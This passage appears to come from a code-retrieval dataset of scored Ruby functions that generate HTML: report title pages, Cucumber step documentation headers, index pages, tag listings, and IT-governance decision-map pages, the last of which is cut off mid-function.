type=\"text/css\" />\n <link href=\"http://fonts.googleapis.com/css?family=Open+Sans\" media=\"all\" rel=\"stylesheet\" type=\"text/css\" /> \n <style>\n body { font-family: 'Open Sans', sans-serif; font-size: 11px; }\n th { background-color: #000; color: #FFF; font-size: 11px; }\n td { font-size: 11px; }\n #report-title { position:absolute; left:140px; top:705px; z-index:10; }\n #report-title h1 { font-size:20px; line-height:18px; padding:0; }\n #report-title h2 { font-size:26px; color:#fc6500; line-height: 2px; padding:0; }\n #report-title h3 { font-size:18px; line-height:16px; padding:0; }\n #toc-block { position:absolute; left:150px; top: 1400px; }\n #toc-block h1 { font-size:30px; color:#fff; line-height:30px; }\n #toc-block h1 span { color: #fc6500; }\n .padme { padding: 50px; }\n </style>\n </head>\n <body>\n }\n \n @title = %Q{\n <img src=\"http://s3.amazonaws.com/homebinderstatic/pdf/images/title-page.png\"/>\n <div id=\"report-title\">\n <h1>HomeBinder Report for</h1>\n <h2>Jon Durante</h2>\n <h3>#{working_binder.property.address1}</h3>\n <h3>#{working_binder.property.city}, <#{working_binder.property.state} #{working_binder.property.zip}</h3>\n </div>\n <p style=\"page-break-after:always;\"></p>\n }\n \n @toc = %Q{\n <img src=\"http://s3.amazonaws.com/homebinderstatic/pdf/images/toc-page.png\"/>\n <div id=\"toc-block\">\n <h1><span>3</span> Property</h1>\n <h1><span>X</span> Structures</h1>\n <h1><span>X</span> Maintenance</h1>\n <h1><span>X</span> Projects</h1>\n <h1><span>X</span> Appliances</h1>\n <h1><span>X</span> Paint</h1>\n <h1><span>X</span> Contractors</h1>\n <h1><span>X</span> Plan</h1>\n </div>\n <p style=\"page-break-after:always;\"></p> \n }\n \n @html_end = %Q{\n </body>\n </html>\n }\n \n # combine all the html!\n @result = @html_start + \n @title + \n @toc + \n @property_page + \n @structure_page + \n @maint_page +\n @project_page + \n @appliance_page +\n @paint_page + \n @contactor_page +\n @plan_page +\n @html_end \n end", "title": "" }, { "docid": "3a698960a4199b1bd540d187d27e3b25", "score": "0.56383973", "text": "def header\n @file.puts <<-HEADER\n <!DOCTYPE html>\n <html>\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n <title>Cucumber step documentation</title>\n <style>\n body{\n position: absolute;\n left: 250px;\n }\n .stepdefs li {\n margin-bottom: 0.25em;\n list-style-type: none;\n font-weight: bold;\n }\n .stepdef {\n color: #111;\n text-decoration: none;\n }\n .source {\n color: #787878;\n text-decoration: none;\n text-decoration: underline;\n font-size: 80%;\n }\n .example {\n font-family: monospace;\n background-color: #f0f0f0;\n padding: 5px;\n padding-left: 15px;\n font-weight: normal;\n }\n table {\n font-family: arial, sans-serif;\n border-collapse: collapse;\n min-width: 20%;\n }\n td, th {\n border: 1px solid #dbdbdb;\n text-align: center;\n padding: 8px;\n }\n # tr:nth-child(even) {\n # background-color: #dbdbdb;\n # }\n .stepdoctable{\n font-weight: normal;\n }\n .stepdocvalue {\n # margin-left: 25px;\n font-weight: normal;\n font-size: 110%;\n }\n .stepdockey {\n font-weight: bold;\n }\n .extrainfo {\n display: none;\n overflow: hidden; /* Fixes jumping issue in jQuery slideToggle() */\n font-weight: normal;\n }\n .linktag {\n text-decoration: none;\n color:inherit;\n }\n .leftnav {\n position:fixed;\n left:0;\n top:0;\n height: 100%;\n background-color: white;\n border: 1px solid black;\n padding: 5px;\n padding-left: 15px;\n padding-right: 15px;\n list-style: none;\n }\n </style>\n <script src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js\"></script>\n <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.2.0/styles/default.min.css\">\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.2.0/highlight.min.js\"></script>\n <script>hljs.highlightAll();</script>\n </head>\n <body>\n HEADER\n end", "title": "" }, { "docid": "c92b537ac1fa6182cbdedb23069f3c69", "score": "0.5626263", "text": "def coverpage\n @coverpage or return\n File.open(File.join(@outdir, \"index.html\"), \"w:UTF-8\") do |f|\n f.write @isodoc.populate_template(File.read(@coverpage))\n end\n end", "title": "" }, { "docid": "a2388d3ad3df58879295ae00b7afb31a", "score": "0.5619867", "text": "def show(file)\n body = HikiDoc.to_html(File.read(file))\n source = HTML_TEMPLATE\n title = File.basename(file)\n erb = ERB.new(source)\n t = File.open(file+\".html\",'w')\n t.puts(erb.result(binding))\n t.close\n system \"open #{t.path}\"\n end", "title": "" }, { "docid": "97ee37ebca00b0ef07daff1bb64b55db", "score": "0.5614084", "text": "def show\n str = @procesor.document.url(:original, false)\n f_path = str.slice(0...(str.index('.zip')))\n system(\"cd #{Rails.root}/public#{f_path} && rails_best_practices -f html .\")\n system(\"open #{Rails.root}/public#{f_path}/rails_best_practices_output.html\")\n redirect_to procesors_path\n end", "title": "" }, { "docid": "feaffb31d4976d9297216ab28e6c3952", "score": "0.5611573", "text": "def create_index!\n @logger.info \"create index frame\"\n File.open(File.join(\"#{@options[:output]}\", \"index.html\"), \"w\") do |file|\n file.write(template(binding, :index))\n end \n end", "title": "" }, { "docid": "ecb870b96d15410313a2b8db06cd38c1", "score": "0.5591788", "text": "def image_map_html\n from_name = @params[\"id\"]\n edit = @params[\"edit\"] == \"true\"\n$stderr.puts @params[\"edit\"]\n$stderr.puts @params[\"edit\"].class.name\n from = DamageControl::Project.load(\"#{BASEDIR}/projects/#{from_name}/project.yaml\")\n projects = DamageControl::Project.find_all(\"#{BASEDIR}/projects\")\n dg = DamageControl::DependencyGraph.new(from, projects, Time, edit)\n dg.write_to(IMAGE)\n send_file(IMAGE_MAP_HTML)\n end", "title": "" }, { "docid": "1367549e4661efc2d6c971ff8a501556", "score": "0.5588383", "text": "def update_html\n used_tags = %w(windows mac linux android media).select { |tag|\n get_tags(tag).size > 0 }\n\n # First create index.html\n save_html('index.html',\n \"<ul>\\n\" +\n used_tags.collect { |tag|\n \"<li><a href='#{@url_html}/html/#{tag}_all.html'>#{tag.capitalize}</a>\"\n }.join(\"\\n\") +\n \"</ul>\\n\")\n\n unless File.exists?(@dir_html)\n FileUtils.mkdir(@dir_html)\n end\n # Add each main tag that exists\n used_tags.each { |tag|\n save_html(File.join('html', \"#{tag}_all.html\"),\n \"<h1>#{tag.capitalize}</h1>\\n\" +\n html_tag_links(tag) +\n \"<h3><a href='../index.html'>Home</a></h3>\" +\n html_tag_files(tag)\n )\n # Add tag-files\n (get_tags(tag) - [tag]).each { |t|\n save_html(File.join('html', \"#{tag}_#{t}.html\"),\n \"<h1><a href='#{tag}_all.html'>#{tag.capitalize}</a></h1>\\n\" +\n \"<h2 class='subtitle'>#{t.capitalize}</h2>\" +\n html_tag_links(tag) +\n \"<h4 class='back'><a href='../index.html'>Home</a></h4>\" +\n html_tag_files([tag, t]))\n }\n }\n end", "title": "" }, { "docid": "33fb505b70c338ce5e219986087ca60b", "score": "0.5578866", "text": "def coverpage\n return unless @coverpage\n\n File.open(File.join(@outdir, \"index.html\"), \"w:UTF-8\") do |f|\n f.write @isodoc.populate_template(File.read(@coverpage))\n end\n end", "title": "" }, { "docid": "ec205f53a964d064483c35348666d9e8", "score": "0.5578387", "text": "def header\n @file.puts <<-eos\n <!DOCTYPE html>\n <html>\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n <title>Cucumber step documentation</title>\n <style>\n .stepdefs {\n font-size: smaller;\n }\n .stepdefs li {\n margin-bottom: 0.25em;\n list-style-type: none;\n }\n .stepdefs li:before {\n content: \"\\u00BB \";\n font-size: larger;\n padding-right: 0.3em;\n }\n .stepdef {\n color: #111;\n text-decoration: none;\n }\n .extrainfo {\n display: none;\n overflow: hidden; /* Fixes jumping issue in jQuery slideToggle() */\n }\n </style>\n <script src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js\"></script>\n </head>\n <body>\n eos\n end", "title": "" }, { "docid": "3104f901ab6e40bfdcb3bf52bcf79f18", "score": "0.5569819", "text": "def generate_index_page\n\t\tself.log.debug \"Generating index page\"\n\t\tlayout = self.load_layout_template\n\t\ttemplate = self.load_template( 'index.tmpl' )\n\t\tout_file = self.output_dir + 'index.html'\n\t\tout_file.dirname.mkpath\n\n\t\tmainpage = nil\n\t\tif mpname = self.options.main_page\n\t\t\tmainpage = @files.find {|f| f.full_name == mpname }\n\t\telse\n\t\t\tmainpage = @files.find {|f| f.full_name =~ /\\breadme\\b/i }\n\t\tend\n\t\tself.log.debug \" using main_page (%s)\" % [ mainpage ]\n\n\t\tif mainpage\n\t\t\ttemplate.mainpage = mainpage\n\t\t\ttemplate.synopsis = self.extract_synopsis( mainpage )\n\t\tend\n\n\t\tlayout.rel_prefix = self.output_dir.relative_path_from( out_file.dirname )\n\t\tlayout.contents = template\n\t\tlayout.pageclass = 'index-page'\n\n\t\tout_file.open( 'w', 0644 ) {|io| io.print(layout.render) }\n\tend", "title": "" }, { "docid": "39054d3a6a1c2f01609019f1d3642151", "score": "0.5564525", "text": "def mapasGenerateMapsHTML(empresa, mapIds, archIds, log)\r\n\t mapas = DecisionMap.where(id: mapIds)\r\n\r\n\t \tlog.push(\"Creating decision maps content...\")\r\n\r\n\r\n\t \t# ES: Directorio actual: (El de la empresa)\r\n\t \t# EN: Current directoy: (of the enterprise)\r\n\t \tactualFolder = Rails.root.to_s << \"/HTML_CONTENT/\" << '[' << empresa.id.to_s << '] ' << empresa.name\r\n\t \tDir.chdir(actualFolder)\r\n\t \trootEmpresa = actualFolder\r\n\r\n\t \t# ES: Crea la carpeta para los mapas de decision y su respectivo archivo index:\r\n\t \t# EN: Create the directory for the decision maps and its respective index file:\r\n\t \tfolderName = 'decisionMaps'\r\n\t \tFileUtils.mkdir_p(folderName)\r\n\t \tlog.push(\"Directory created: decisionMaps (Decision Maps)\")\r\n\t \tDir.chdir(actualFolder+\"/\"+folderName) # ES: Ingresa a la carpeta DecisionMaps - EN: Enters to the directory DecisionMaps\r\n\t \t# ES: Crea el archivo index para los mapas de decision:\r\n\t \t# EN: Create the index file for the decision maps:\r\n\t fileHtml = File.new(\"indexMaps.html\", \"w\")\r\n\t lineHtml = '<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\r\n\t <link rel=\"stylesheet\" type=\"text/css\" href=\"../css/styles.css\"/></head>'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tlineHtml = '<body><div><ol class=\"breadcrumb\"><li><a href=\"../index.html\">Home</a></li>'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tlineHtml = '<li class=\"active\">['<< empresa.name << '] IT Governance - Decision Maps</li>'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tlineHtml = '</ol></div>'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tlineHtml = '<h2>Decision Maps</h2>'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tif mapas.size == 0\r\n\t \t\tlineHtml = '<div class=\"alert alert-info\">'\r\n\t \t\tfileHtml.puts lineHtml\r\n\t \t\tlineHtml = 'No decision maps in the system, for the enterprise: '<< empresa.name << '.' << '</div>'\r\n\t \t\tfileHtml.puts lineHtml\r\n\t \telse\r\n\t \t\tmapas.each do |m|\r\n\t \t\t\tlineHtml = '<a href=\"map' << m.id.to_s << '.html\"> [' << m.governance_structure.name << ': ' << m.name << '] - ' << m.description << '</a><br>'\r\n\t \t fileHtml.puts lineHtml\r\n\t \t\tend\r\n\t \tend\r\n\r\n\t \tlineHtml = '</body></html>'\r\n\t fileHtml.puts lineHtml\r\n\r\n\t \tfileHtml.close()\r\n\t \tlog.push(\"File created: indexMaps.html\")\r\n\r\n\t \t# ES: Crea el archivo de estilos para los mapas de decision:\r\n\t \t# EN: Create the css file for the decision maps:\r\n\t \tDir.chdir(rootEmpresa+\"/css\")\r\n\t \tmapStyles = 'mapStyles.css'\r\n\t \tfileHtml = File.new(mapStyles, \"w\")\r\n\t \tlineHtml = 'tr, th, td {padding: 10px;\tborder: solid 1px #cacaca;}'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tlineHtml = 'th {color: #333;font-weight: normal;background-color: #f5f5f5;}'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tlineHtml = 'p.showFuncs {font-size: 12px;margin: 0px;color: #3c763d;font-weight: bold; font-style: italic; cursor: pointer;}'\r\n\t \tfileHtml.puts lineHtml\r\n\t lineHtml = 'p.cell {font-size: 12px;margin: 0px;color: #3c763d;font-weight: bold; font-style: italic;}'\r\n\t fileHtml.puts lineHtml\r\n\t lineHtml = 'table#arch, table#arch td {border: solid 1px #949494; padding: 5px; text-align: center; font-size: 12px;}'\r\n\t fileHtml.puts lineHtml\r\n\t lineHtml = 'table#arch td.rotate{-webkit-transform: rotate(270deg);-moz-transform: rotate(270deg);-o-transform:rotate(270deg); writing-mode: lr-tb;}'\r\n\t fileHtml.puts lineHtml\r\n\t lineHtml = 'table#arch td.blank{ border: none; padding: 0px;}'\r\n\t fileHtml.puts lineHtml\r\n\t lineHtml = 'table#arch tr.blank{ border: none; padding: 0px;}'\r\n\t fileHtml.puts lineHtml\r\n\t lineHtml = 'table#arch td.maxRed{ border: solid 2px #FF4444;}'\r\n\t fileHtml.puts lineHtml\r\n\t lineHtml = 'table#arch td.maxOrange{ border: solid 2px #FAAB19;}'\r\n\t fileHtml.puts lineHtml\r\n\t lineHtml = 'span.totalDBD {color: blue;font-size: 12px;}'\r\n\t fileHtml.puts lineHtml\r\n\r\n\t fileHtml.close()\r\n\t \tlog.push(\"File created: mapStyles.css\")\r\n\r\n\t # ES: Crea el archivo de js para el dialogo en los mapas:\r\n\t # EN: Create the js file for the dialog in the decision maps:\r\n\t Dir.chdir(rootEmpresa+\"/js\")\r\n\t mapJs = Rails.root.to_s << '/app/assets/javascripts/mapJS.js'\r\n\t FileUtils.cp mapJs, 'mapJS.js'\r\n\r\n\t \tDir.chdir(actualFolder+\"/\"+folderName) # ES: Ingresa a la carpeta DecisionMaps - EN: Enter the directory DecisionMaps\r\n\r\n\t # ES: Crea el archivo de cada mapa de decisión:\r\n\t # EN: Create the file of each decision map:\r\n\t archs = DecisionArchetype.all\r\n\t genericas = GovernanceDecision.where(\"decision_type = ? AND enterprise_id = ?\", GENERIC_TYPE, empresa.id).order(dimension: :asc)\r\n\t resps = [DELEG_RESP_1,DELEG_RESP_2,DELEG_RESP_3,DELEG_RESP_4,DELEG_RESP_5]\r\n\r\n\t mapas.each do |m|\r\n\t \tnameFile = 'map' << m.id.to_s << '.html'\r\n\t\t\tfileHtml = File.new(nameFile, \"w\")\r\n\t\t\tlineHtml = '<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">'\r\n\t\t\tfileHtml.puts lineHtml\r\n\t\t\tlineHtml = '<link rel=\"stylesheet\" type=\"text/css\" href=\"../css/styles.css\"/>'\r\n\t\t\tfileHtml.puts lineHtml\r\n\t\t\tlineHtml = '<link rel=\"stylesheet\" type=\"text/css\" href=\"../css/mapStyles.css\"/>'\r\n\t\t\tfileHtml.puts lineHtml\t\r\n\t\t lineHtml = '<link rel=\"stylesheet\" href=\"../css/my_jquery.css\" />'\r\n\t\t fileHtml.puts lineHtml \r\n\t\t\tlineHtml = '<script src=\"http://code.jquery.com/jquery-1.10.2.js\"></script>'\r\n\t\t\tfileHtml.puts lineHtml\r\n\t\t\tlineHtml = '<script src=\"http://code.jquery.com/ui/1.11.0/jquery-ui.js\"></script>'\r\n\t\t\tfileHtml.puts lineHtml\r\n\t\t\tlineHtml = '<script src=\"../js/mapJS.js\"></script>'\r\n\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\tif m.map_type == MAP_TYPE_1 \r\n\t\t\t\t# ES: Arquetipos\r\n\t\t\t\t# EN: Archetypes\r\n\t\t\t \tdetails = m.map_details\r\n\t\t\t\t# ES: Define estilos individuales\r\n\t\t\t\t# EN: Define individual styles\r\n\t\t\t\tlineHtml = '</head><body>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tlineHtml = '<div><ol class=\"breadcrumb\"><li><a href=\"../index.html\">Inicio</a></li>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tlineHtml = '<li class=\"active\">[' << empresa.name << '] Decision Map - ' << m.name << '</li></ol></div>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tlineHtml = '<h2>Decision Map: ' << m.name << ' </h2>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tlineHtml = '<div><table style=\"font-size:14px;\"><tr><th>Decisión</th>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tarchs.each do |a|\r\n\t\t\t\t\tlineHtml = '<th>' << a.name << '<br> ' << a.description << '</th>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tend\r\n\t\t\t\tlineHtml = '</tr>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t\r\n\t\t\t\tdivs = archs.size\r\n\t\t dim_ant = nil \r\n\t\t cols = divs + 1\r\n\r\n\t\t\t\tgenericas.each do |gen|\r\n\t\t\t\t\tif dim_ant != gen.dimension\r\n\t\t\t\t\t\tlineHtml = '<tr style=\"background-color:#d9edf7;border-color:#bce8f1;\">'\r\n\t\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t\tlineHtml = '<td colspan = ' << cols.to_s << ' style=\"text-align:center;color:#31708f;font-size:18px;\">'\r\n\t\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t\tlineHtml = 'Dimension: ' << gen.dimension << '</td></tr>'\r\n\t\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t\tdim_ant = gen.dimension\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\trenderTableDec(fileHtml, gen, divs, 0, details) \t\r\n\t\t\t\tend\r\n\r\n\t\t\t\tlineHtml = '</table></div>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\r\n\t\t\telse\r\n\t\t\t\t# ES: Delegacion de responsabilidades\r\n\t\t\t\t# EN: Responsibilities delegation\r\n\t\t\t\tdetails = m.map_details\r\n\t\t\t\tfindings = m.findings\r\n\t\t\t\trisks = Risk.where(\"nivel = ?\", 'GENERICO').order(id: :asc)\r\n\t\t\t\tcategories = RiskCategory.where(\"id_padre IS NULL\")\r\n\t\t\t\t\t\r\n\t\t\t\t# ES: Define estilos individuales:\r\n\t\t\t\t# EN: Define individual styles:\r\n\t\t\t\tlineHtml = '</head><body>'\r\n\t\t\t \tfileHtml.puts lineHtml\r\n\t\t\t\tlineHtml = '<div><ol class=\"breadcrumb\"><li><a href=\"../index.html\">Inicio</a></li>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tlineHtml = '<li class=\"active\">[' << empresa.name << '] Decision Map - ' << m.name << '</li></ol></div>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tlineHtml = '<h2>Decision Map: ' << m.name << ' <span style=\"color:#428bca;cursor:pointer;margin:0 0 0 7px;font-size:15px;\" id=\"archReport\">'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t# ES: Si tiene activo el reporte de identificacion, activa el link desde alli:\r\n\t\t\t\t# EN: If the identification report is activated, enable the link from here:\r\n\t\t\t\tif archIds.include?(m.id.to_s)\r\n\t\t\t\tlineHtml = 'Show identified archetype'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tend\r\n\r\n\t\t\t\tlineHtml = '</span></h2><div><table style=\"font-size:14px;\"><tr><th style=\"width:30%;\">Decision</th>'\r\n\t\t\t\tfileHtml.puts lineHtml \r\n\r\n\t\t\t\tresps.each do |r|\r\n\t\t\t\t\tlineHtml = '<th>' << r << '<br></th>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\tend\r\n\r\n\t\t\t\tdivs = resps.size\r\n\t\t\t\tdim_ant = nil \r\n\t\t\t\tcols = divs + 1\r\n\r\n\t\t\t\tgenericas.each do |gen|\r\n\t\t\t\t\tif dim_ant != gen.dimension\r\n\t\t\t\t\t\tlineHtml = '<tr style=\"background-color:#d9edf7;border-color:#bce8f1;\">'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\t\tlineHtml = '<td colspan = ' << cols.to_s << ' style=\"text-align:center;color:#31708f;font-size:18px;\">'\r\n\t\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t\tlineHtml = 'Dimension: ' << gen.dimension << '</td></tr>'\r\n\t\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t\tdim_ant = gen.dimension\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\trenderTableDec2(fileHtml, gen, divs, 0, details, m)\r\n\t\t\t\tend\r\n\r\n\t\t\t\tlineHtml = '</table></div>'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t# ES: Construye el dialogo del reporte de arquetipos:\r\n\t\t\t\t# EN: Build the dialog of the archetypes report:\r\n\t\t\t\tif archIds.include?(m.id.to_s)\r\n\r\n\t\t\t\t\tdimensions = [DIM_DEC_1, DIM_DEC_2, DIM_DEC_3, DIM_DEC_4, DIM_DEC_5]\r\n\t\t\t\t\tarquetipos = DecisionArchetype.all\r\n\r\n\t\t\t\t\tlineHtml = '<div id=\"dialogArchReport\" style=\"font-size:12px;\">'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tlineHtml = '<div><table id=\"arch\"><tr class=\"blank\"><td colspan=\"2\" class=\"blank\"></td><td colspan=\"10\">Decision Domain</td></tr><tr class=\"blank\">'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tlineHtml = '<td colspan=\"2\" class=\"blank\"></td>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t\tdimensions.each do |dim|\r\n\t\t\t\t\t stat = GovernanceDecision.where(\"enterprise_id = ? AND dimension = ?\", empresa.id, dim).size\r\n\t\t\t\t\t lineHtml = '<td colspan=\"2\">' << dim << '<br><span class=\"totalDBD\">' << stat.to_s << ' decisions</span></td>'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\tlineHtml = '</tr><tr class=\"blank\"><td colspan=\"2\" class=\"blank\"></td><td>Decides</td><td>Consulted</td><td>Decides</td><td>Consulted</td>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tlineHtml = '<td>Decides</td><td>Consulted</td><td>Decides</td><td>Consulted</td><td>Decides</td><td>Consulted</td></tr>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tlineHtml = '<tr><td rowspan=\"7\" class=\"rotate\">Governance Archetype</td>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tlineHtml = '<td>' << arquetipos[0].name << '</td>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tcontArchs = 1\r\n\r\n\t\t\t\t\tcontent = identify_archetype_method([m.id])\r\n\r\n\t\t\t\t\tcontent.each_with_index do |valor, i|\r\n\t\t\t\t\t modulo = 1\r\n\r\n\t\t\t\t\t if i > 0\r\n\t\t\t\t\t modulo = i % 10\r\n\t\t\t\t\t end\r\n\r\n\t\t\t\t\t if ((modulo == 0) && (contArchs <= arquetipos.size))\r\n\r\n\t\t\t\t\t if contArchs == arquetipos.size\r\n\t\t\t\t\t lineHtml = '</tr><tr><td>No-Responsible</td>'\r\n\t\t\t\t\t else\r\n\t\t\t\t\t lineHtml = '</tr><tr><td>' << arquetipos[contArchs].name << '</td>'\r\n\t\t\t\t\t end \r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\t contArchs+=1\r\n\t\t\t\t\t end\r\n\r\n\t\t\t\t\t lineHtml = '<td'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\r\n\t\t\t\t\t if valor[0].eql?('M')\r\n\r\n\t\t\t\t\t if valor[1].eql?('R')\r\n\t\t\t\t\t # ES: Lo marca en rojo:\r\n\t\t\t\t\t # EN: Mark it with red:\r\n\t\t\t\t\t lineHtml = ' class=\"maxRed\" >'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\t valor = valor.gsub(\"MR\",\"\").strip\r\n\t\t\t\t\t else\r\n\t\t\t\t\t # ES: Lo marca en naranja:\r\n\t\t\t\t\t # EN: Mark it with orange:\r\n\t\t\t\t\t lineHtml = ' class=\"maxOrange\">'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\t valor = valor.gsub(\"MN\",\"\").strip\r\n\t\t\t\t\t end\r\n\r\n\t\t\t\t\t else\r\n\t\t\t\t\t lineHtml = '>'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\t end\r\n\r\n\t\t\t\t\t if !valor.eql?(\"-\") \r\n\t\t\t\t\t lineHtml = valor.strip << '%'\r\n\t\t\t\t\t else\r\n\t\t\t\t\t lineHtml = valor.strip\r\n\t\t\t\t\t end\r\n\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\r\n\t\t\t\t\t lineHtml = '</td>'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\tend # content.each do\r\n\r\n\t\t\t\t\tlineHtml = '</table></div>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t\t# ES: INCLUIR ESTILOS DE LA TABLA!!!\r\n\t\t\t\t\t# EN: INCLUDE TABLE STYLES!!!\r\n\r\n\t\t\t\t\tlineHtml = '</div>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\tend # archs.include?()\r\n\r\n\r\n\t\t\t\t# ES: Construye los divs del dialogo de hallazgos:\r\n\t\t\t\t# EN: Build the divs in the findings dialog:\r\n\t\t\t\tlineHtml = '<div id=\"dialog_findings\" style=\"font-family:\"Segoe UI Light\",\"Helvetica Neue\",\"Segoe UI\",\"Segoe WP\",sans-serif;\">'\r\n\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\tfindings.each do |find|\r\n\r\n\t\t\t\t\tparsedRisks = find.parsed_risks\r\n\r\n\t\t\t\t\tif parsedRisks.nil?\r\n\t\t\t\t\t parsedRisks = []\r\n\t\t\t\t\telse\r\n\t\t\t\t\t parsedRisks = parsedRisks.split(\"|\")\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\tlineHtml = '<div id=\"infoFinding' << find.governance_decision_id.to_s << '\" style=\"display:none;\">'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t\tdecTemp = GovernanceDecision.find(find.governance_decision_id) # PERFORMANCE_ALERT!\r\n\r\n\t\t\t\t\tlineHtml = '<h4 style=\"font-size:15px;\">Decision:</h4>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tlineHtml = '<p style=\"font-style:italic;color:#AAA;font-size:13px;font-family: Helvetica,Arial,sans-serif\">' << decTemp.description << '</p>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t\tlineHtml = '<h4 style=\"font-size:15px;\">Finding Description:</h4>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t# ES: Descripcion del hallazgo:\r\n\t\t\t\t\t# EN: Finding's description:\r\n\t\t\t\t\tlineHtml = '<p'\r\n\t\t\t\t\tfileHtml.puts lineHtml \r\n\t\t\t\t\tlineHtml = 'style=\"font-style:italic;color:#AAA;font-size:12px;\">' << find.description << '</p>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t\tlineHtml = '<h4 style=\"font-size:15px;\" >Proposed Changes:</h4>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t# ES: Cambios propuestos:\r\n\t\t\t\t\t# EN: Proposed updates:\r\n\t\t\t\t\tlineHtml = '<p'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\tupdates = find.proposed_updates\r\n\r\n\t\t\t\t\tif updates.nil?\r\n\t\t\t\t\t updates = 'Undefined' \r\n\t\t\t\t\tend\r\n\t\t\t\t\tlineHtml = 'style=\"font-style:italic;color:#AAA;font-size:12px;\">' << updates << '</p>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t\tlineHtml = '<h4 style=\"font-size:15px;\" >Related risks from the finding:</h4>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t# ES: Riesgos asociados:\r\n\t\t\t\t\t# EN: Related risks:\r\n\t\t\t\t\tlineHtml = '<div>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\t\tcategories.each do |cat|\r\n\t\t\t\t\t lineHtml = '<div class=\"alert alert-info\" style=\"padding:9px;margin-bottom:0px;\">'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\t lineHtml = '<span style=\"font-size:13px;\">Risk category: ' << cat.description << '</span></div>' \r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\r\n\t\t\t\t\t myRisks = risks.select{|r| r.risk_category.id_padre == cat.id}\r\n\r\n\t\t\t\t\t myRisks.each do |risk|\r\n\t\t\t\t\t if parsedRisks.include?(risk.id.to_s)\r\n\t\t\t\t\t lineHtml = '<span style=\"font-style:italic;color:#AAA;font-size:12px;\">- ' << risk.descripcion << '</span><br>'\r\n\t\t\t\t\t fileHtml.puts lineHtml\r\n\t\t\t\t\t end\r\n\t\t\t\t\t end\r\n\r\n\r\n\t\t\t\t\tend # Close 